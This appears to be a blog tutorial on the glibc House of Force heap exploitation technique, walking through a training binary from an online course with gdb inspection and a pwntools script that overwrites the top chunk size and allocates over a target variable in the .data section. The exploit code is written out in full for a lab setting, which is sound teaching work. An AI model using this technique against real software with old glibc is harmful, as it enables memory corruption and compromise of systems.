House of Force technique is about abusing heap’s top chunk field, increasing it, and overwriting target data. This technique takes advantage of glibc versions which have no integrity checks.

Let’s take a binary example. This binary has been taken from Max Kemper’s amazing course “Linux Heap Exploitation - Part 1”(https://www.udemy.com/course/linux-heap-exploitation-part-1/).

We can check the protections of the binary with ‘checksec’ command: Pasted image 20220502232544

We run the program inside gdb and allocate heap memory chunk of size 24 bytes: Pasted image 20220506103118

We can view the status of the heap by breaking the application and then issuing ‘vis’ command: Pasted image 20220506103221 As you can see our input values ‘YYYY has been written into the user space of the heap.

We can show the target value with second option in the binary. We can display memory location of the target with ‘dq &target’ command: Pasted image 20220506103416 As you can see, target is located at 0x00602010 and it holds bunch of Xs.

‘xinfo’ commands allows to display where in memory a specific variable is located: Pasted image 20220506102912 As you can see, it is located at the data section.

With the heap top chunk size increased we may overwrite data in the Libraries and Stack sections. However, our target data resides in .data section of the binary which has a lower address than the heap. By typing a very large top chunk value we may eventually overwrite the application section as well. Pasted image 20220508202935

We’re gonna use pwntools to make things easier.

We use the script utilizing pwntools to run the binary and send our input to it. The code:

#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("house_of_force")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")

# Calculate the "wraparound" distance between two addresses.
def delta(x, y):
    return (0xffffffffffffffff - x) + y

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts

# This binary leaks the heap start address.
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil(b"> ")
io.timeout = 0.1

# =============================================================================

# =-=-=- EXAMPLE -=-=-=

# The "heap" variable holds the heap start address.
info(f"heap: 0x{heap:02x}")

# Program symbols are available via "elf.sym.<symbol name>".
info(f"target: 0x{elf.sym.target:02x}")

# The malloc() function chooses option 1 from the menu.
# Its arguments are "size" and "data".
malloc(24, b"Y"*24)

# The delta() function finds the "wraparound" distance between two addresses.
info(f"delta between heap & main(): 0x{delta(heap, elf.sym.main):02x}")

# =============================================================================

io.interactive()

Firstly, we allocate a heap memory of 24 bytes: Pasted image 20220510003143

Now, it would be better to see the heap space. We can do it via attaching GDB to the process. By utilizing !./% GDB we can run the program and gdb will automatically be attached: Pasted image 20220510003607

Now, we see that the next bytes we allocate via malloc will allocate top chunk size. So, we put the largest 64 bit value, 0xffffffffffffffff. To ease typing hex chars, we will use p64 function of pwntools:

Now we run inside vim with !./% GDB NOASLR option to turn ASLR off as well: Pasted image 20220510004157 As you can see, we were able to overwrite top chunk size value with the large value!

Next up, we calculate the distance between top chunk address and target value start address. Delta function comes in handy for this purpose. We just create a variable named destination and let the delta do the rest:

destination = delta(heap+0x20, elf.sym.target-0x20)
malloc(destination,"Y")

Now, we can see that top chunk size value is just before the target address space: Pasted image 20220510194325

We can display info about top chunk with ‘top_chunk’ command as well: Pasted image 20220510194414

Finally, we just use malloc to allocate another heap chunk which is gonna overlap the target, and with the garbage data we will overwrite the target value:

malloc(24, "Much Win")

Now we just run the binary and choose the target option to see target value: Pasted image 20220510194802

Boom! We successfully overwrote the value!


<
Previous Post
x86 Assembly Crash Course
>
Next Post
IRZ RUH2 GSM Router XSS vulnerability